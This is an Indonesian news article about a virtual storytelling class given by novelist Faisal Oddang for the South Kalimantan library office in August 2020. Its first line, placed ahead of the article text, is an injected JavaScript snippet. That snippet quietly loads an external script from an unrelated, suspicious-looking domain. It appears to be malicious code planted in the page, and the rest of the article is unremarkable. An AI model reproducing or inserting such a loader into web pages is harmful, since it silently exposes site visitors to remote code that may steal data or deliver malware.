(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) sukses menggelar talkshow virtual bersama penulis novel Faisal Oddang dengan tema “Kelas Menulis Cerita”, Senin (3/8/2020). Sebuah gelaran dari Dispersip Kalsel untuk terus menggelorakan literasi kepada masyarakat dipandu Harie Insani Putra
Faisal Oddang, penulis asal Sulawesi Selatan mengungkapkan untuk membuat sebuah cerita itu diperlukan tiga cara, yaitu yang pertama bentuk kejadiannya, konfliknya dan konklusi (kesimpulan) dan alurnya dibuat sesuai dengan keinginan cerita yang dibuat penulis. Seperti apa karakternya yang hidup baik dari sifatnya dan fisiknya bagaimana dibangunm misalnya sifatnya ada pemarah dalam adegan ceritanya atau pendiam.
“Ini adalah bentuk pengembangan cerita agar kita bisa membuat cerpen maupun novel,” tuturnya.
Talkshow virtual bersama penulis novel Faisal Oddang dengan tema “Kelas Menulis Cerita”, Senin (3/8/2020). foto: dispersip kalsel
Kemudian, ia juga membeberkan, alur cerita cerpen maupun novel harus dibikin sesuai dengan paragraf dari awal sampai akhir atau sambung menyambung kisahnya. Tentunya dengan dibarengi mencari data referensi dari buku, dan belajar dari pengalaman orang lain itu bisa juga dijadikan cerita.
“Sebenarnya, kita semua baik peserta yang hadir dan bapak-bapak serta ibu-ibu yang ikut acara ini, bisa berpotensi jadi penulis, baik itu membuat cerpen atau novel serta puisi karena sudah punya tabungan pengalaman dulunya dan pengetahuan jadikanlah itu sebagai modal utama untuk bercerita dan tulislah,” bebernya.
Kepala Perpusnas RI Muhammad Syarif Bando Dra Titiek Kismiyati Mhum, pustakawan utama Perpusnas RI mengaku salut dan sangat senang atau gembira dengan acara talkshow virtual dalam status pandemi Covid-19. Pihak Dispersip Kalsel sudah mampu menghadirkan Faisal Oddang dan Najwa Shihab, serta Ria Enes dan Susan beberapa hari yang lalu.
“Kita berharap kedepannya Dispersip Kalsel Terus tumbuhkan literasi masyarakat agar bangsa kita luas dalam ilmu pengetahuan,” katanya.
Kepala Dispersip Kalsel Hj Nurliani Dardie. foto: dispersip
Sebelum closing acara, Kepala Dispersip Kalsel Hj Nurliani Dardie sempat mewek, karena teringat kenangan bersama sahabat yaitu Agustina Thamrin seorang penyair Banjarbaru dan penulis buku Mantra Malam yang telah menemukan dirinya dengan Faisal Oddang di Seminar Internasional di Denpasar. “Semoga almarhumah bisa beristirahat dengan tenang di sisi Tuhan,” harapnya.
Ia pun mengucapkan terimakasih banyak kepada pihak yang telah mau berpartisipasi mengikuti talkshow virtual. “Dengan kehadiran Ananda Faisal Oddang, bisa memberikan pencerahan kepada peserta bagaimana hayalan bisa dituangkan dalam bentuk tulisan,” ujar Bunda Nunung. (kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
This website uses cookies.